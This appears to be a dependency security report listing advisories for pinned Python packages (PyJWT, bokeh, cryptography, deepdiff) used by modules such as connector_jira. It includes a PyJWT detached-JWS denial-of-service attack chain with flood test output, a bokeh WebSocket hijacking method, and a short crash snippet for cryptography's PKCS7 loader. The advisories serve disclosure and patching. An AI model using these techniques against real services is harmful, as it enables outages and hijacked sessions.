**Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be silently ignored - See CVE-2025-59420 for full impact analysis --- ## Suggested Fix In `jwt/api_jwt.py`, add validation in `_validate_headers()` or `decode()`: ```python _SUPPORTED_CRIT = {"b64"} # Add extensions PyJWT actually supports def _validate_crit(self, headers: dict) -> None: crit = headers.get("crit") if crit is None: return if not isinstance(crit, list) or len(crit) == 0: raise InvalidTokenError("crit must be a non-empty array") for ext in crit: if ext not in self._SUPPORTED_CRIT: raise InvalidTokenError(f"Unsupported critical extension: {ext}") if ext not in headers: raise InvalidTokenError(f"Critical extension {ext} not in header") ``` --- ## CWE - CWE-345: Insufficient Verification of Data Authenticity - CWE-863: Incorrect Authorization ## References - [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11) - [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32) - [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800)
PYSEC-2026-179 2.13.0 connector_jira
Show details
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
GHSA-w7vc-732c-9m39 2.13.0 connector_jira
Show details
> [!NOTE] > Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed. When verifying detached JWS tokens using the unencoded-payload option (`"b64": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules. For `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid. This creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT. --- ## Affected Component(s) * `jwt/api_jws.py` * `PyJWS.decode()` / `PyJWS.decode_complete()` * `_load()` (parsing and Base64URL decoding) --- ## Root Cause (exact logic flaw) ### What happens in the code In `jwt/api_jws.py`, `decode_complete()` does the following (order matters): * Calls `_load(jwt)` first, which decodes the token segments * Only after that, checks `header.get("b64")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input This behavior is visible in `decode_complete()`: * `_load(jwt)` happens **before** the `b64=false` handling * then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1]) Inside `_load()`, PyJWT unconditionally performs: * `payload = base64url_decode(payload_segment)` This is the expensive step the attacker can amplify ([GitHub][1]) ### Why this becomes a vulnerability For `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning: * cost is paid **even when signature is invalid** * the decoded bytes are **discarded** * attacker controls the size of this cost via token length --- ## Impact (evidence-driven) ### Security impact * **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key. * **CPU amplification**: Base64URL decode time scales linearly with payload segment size. * **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request). * **Operational impact**: request queueing / worker starvation under modest concurrency bursts. ### Standards context (RFC 7797) RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.) --- ## Affected Versions * **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo). * **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3]) (For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.) --- # Threat Model ### Typical real deployment A service verifies signed HTTP requests or webhooks using detached JWS: * token is provided in JSON body / query / header * actual payload is the HTTP request body passed as `detached_payload` ### Attacker * remote unauthenticated client * can send requests to verify endpoint * does **not** need a valid signature (invalid signature still triggers the expensive decode path) ### Attack chain 1. Attacker crafts a JWS compact token with header containing `"b64": false` and `crit:["b64"]`. 2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters. 3. Server calls `PyJWS.decode(...detached_payload=...)`. 4. PyJWT decodes the inflated segment (CPU + memory). 5. Signature is rejected afterward (401) — but resources already consumed. 6. Repeated requests or bursts cause queueing/worker starvation → DoS. --- # Proof of Concept - file names + results ## PoC placement * [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) * [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py) * [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py) --- ## PoC # 1 - Localhost verification server **File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) **Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJWT detached verification and prints: `ok / time_ms / peak_bytes / token_len / error`. ### Results (server console output) ```text [+] Listening on http://127.0.0.1:8000 [+] POST /verify JSON: {"token": "..."} [127.0.0.1] ok=True time_ms=0.102 peak_bytes=2624 token_len=117 err=None [127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983 token_len=500078 err=InvalidSignatureError [127.0.0.1] ok=True time_ms=1.591 peak_bytes=2001061 token_len=500117 err=None [127.0.0.1] ok=True time_ms=0.065 peak_bytes=2304 token_len=117 err=None [127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983 token_len=2000078 err=InvalidSignatureError [127.0.0.1] ok=True time_ms=6.347 peak_bytes=8001061 token_len=2000117 err=None [127.0.0.1] ok=True time_ms=0.066 peak_bytes=2304 token_len=117 err=None [127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError [127.0.0.1] ok=True time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None ``` **Key takeaways from these results** * At **8,000,000 chars**, a single invalid-signature request still causes: * **~23 ms** server work * **~32 MB** peak allocations * returns **401** (invalid signature) → attacker does not need key. --- ## PoC # 2 - Localhost network client **File:** [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py) **Purpose:** generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server. ### Results (client output) #### payload-chars = 500,000 ```text === BASELINE (valid b64=false token) === HTTP: 200 client_wall_ms: 6.3499... server_time_ms: 0.10197... server_peak_bytes: 2624 === ATTACK (INVALID signature - attacker needs no key) === HTTP: 401 client_wall_ms: 4.1010... server_time_ms: 2.01217... server_peak_bytes: 2000983 error: InvalidSignatureError === ATTACK (VALID signature - accepted path still wastes) === HTTP: 200 client_wall_ms: 3.6586... server_time_ms: 1.59092... server_peak_bytes: 2001061 ``` #### payload-chars = 2,000,000 ```text === BASELINE === HTTP: 200 server_time_ms: 0.06527... server_peak_bytes: 2304 === ATTACK (INVALID signature) === HTTP: 401 server_time_ms: 7.53430... server_peak_bytes: 8000983 === ATTACK (VALID signature) === HTTP: 200 server_time_ms: 6.34682... server_peak_bytes: 8001061 ``` #### payload-chars = 8,000,000 ```text === BASELINE === HTTP: 200 server_time_ms: 0.06573... server_peak_bytes: 2304 === ATTACK (INVALID signature) === HTTP: 401 server_time_ms: 23.03403... server_peak_bytes: 32000983 === ATTACK (VALID signature) === HTTP: 200 server_time_ms: 22.09702... server_peak_bytes: 32001061 ``` **Why this is strong evidence** * The server clearly does heavy work **before** rejecting invalid signatures. * The “valid signature” case shows even accepted requests waste resources due to unused payload segment. --- ## PoC # 3 - Localhost flood / burst concurrency **File:** [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py) **Purpose:** sends **N concurrent** invalid-signature requests over HTTP to demonstrate queueing/worker starvation. ### Results (your run: 20 concurrent @ 8,000,000 chars) ```text total_wall_ms: 1374.5405770000616 (16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError') (19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError') (18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError') (13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError') (11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError') (17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError') (10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError') (7, 401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError') (8, 401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError') (1, 401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError') ``` **Interpretation** * Each request still costs ~**20–23 ms** server processing and **~32 MB** peak allocations. * But client-observed latency rises up to **~1.15 seconds** because requests queue behind each other → clear worker starvation/HoL blocking. * All were rejected with **401 InvalidSignatureError** → still unauthenticated. --- # Fix ### Goal Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in `b64=false` detached flow. ### Minimal change strategy In `_load()` (or by refactoring parse order), **do not Base64-decode `payload_segment` until after you know whether `b64=false` applies**. Two safe options: 1. **Reject non-empty payload segment when `b64=false`** * Parse header first * If `b64` is false and `payload_segment` is non-empty → raise `DecodeError` *before* decoding * Then verification uses `detached_payload` only 2. **Skip decoding payload segment entirely when `b64=false`** * Keep payload segment as raw bytes or empty * Use detached payload for signing input This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector. (Implementation context: the current decode order and unconditional `base64url_decode(payload_segment)` are visible in the file and line region around `_load()` and `decode_complete()` ([GitHub][1]).) --- # Workarounds * Enforce strict **max token length** at the HTTP boundary (proxy/gateway). * Apply rate limiting on verification endpoints. * If detached JWS (`b64=false`) is not needed in your app, reject tokens where header includes `"b64": false`.
bokeh==3.4.1
ID Fixed In Affected modules Details
GHSA-793v-589g-574v 3.8.2 web_widget_bokeh_chart
Show details
This vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance. ### Scope This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage. This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks. ### Impact If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. ### Patches Patched in versions 3.8.2 and later. ### Workarounds None ### Technical description The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted. Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match. For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match: 1. `host` parts: `['example', 'com', 'bad', 'com']` 2. `pattern` parts: `['example', 'com']` 3. `zip` compares `example==example` (OK) and `com==com` (OK). 4. Iteration stops, and the function returns `True`.
cryptography==36.0.0
ID Fixed In Affected modules Details
GHSA-v8gr-m533-ghj9 41.0.4 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-3ww4-gg4f-jr7f 42.0.0 l10n_ec_account_edi
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-jm77-qphf-c4w8 41.0.3 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-w7pp-m8wf-vj6r 39.0.1 l10n_ec_account_edi
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-x4qr-2fvf-3mr5 39.0.1 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2024-225 42.0.4 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
GHSA-r6ph-v2qm-q3c2 46.0.5 l10n_ec_account_edi
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
PYSEC-2023-11 39.0.1 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-5cpq-8wj7-hf2v 41.0.0 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2023-254 41.0.6 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
GHSA-537c-gmf6-5ccf 48.0.1 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-m959-cc7f-wv43 46.0.6 l10n_ec_account_edi
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
PYSEC-2026-35 46.0.6 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
GHSA-jfhm-5ghh-2f97 41.0.6 l10n_ec_account_edi
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
GHSA-9v9h-cgj8-h64p 42.0.2 l10n_ec_account_edi
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
cryptography>=38,<39
ID Fixed In Affected modules Details
GHSA-r6ph-v2qm-q3c2 46.0.5 connector_jira
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
GHSA-jm77-qphf-c4w8 41.0.3 connector_jira
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-x4qr-2fvf-3mr5 39.0.1 connector_jira
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-v8gr-m533-ghj9 41.0.4 connector_jira
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-5cpq-8wj7-hf2v 41.0.0 connector_jira
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-9v9h-cgj8-h64p 42.0.2 connector_jira
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
PYSEC-2026-35 46.0.6 connector_jira
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
PYSEC-2023-11 39.0.1 connector_jira
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-537c-gmf6-5ccf 48.0.1 connector_jira
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-m959-cc7f-wv43 46.0.6 connector_jira
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
GHSA-6vqw-3v5j-54x4 42.0.4 connector_jira
Show details
If `pkcs12.serialize_key_and_certificates` is called with both: 1. A certificate whose public key did not match the provided private key 2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)` Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a `ValueError` is properly raised. Patched in https://github.com/pyca/cryptography/pull/10423
PYSEC-2024-225 42.0.4 connector_jira
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
GHSA-w7pp-m8wf-vj6r 39.0.1 connector_jira
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-3ww4-gg4f-jr7f 42.0.0 connector_jira
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-jfhm-5ghh-2f97 41.0.6 connector_jira
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
GHSA-h4gh-qq45-vh27 43.0.1 connector_jira
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 37.0.0-43.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20240903.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2023-254 41.0.6 connector_jira
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
deepdiff<8
ID Fixed In Affected modules Details
PYSEC-2026-327 8.6.1 l10n_es_aeat_sii_match
Show details
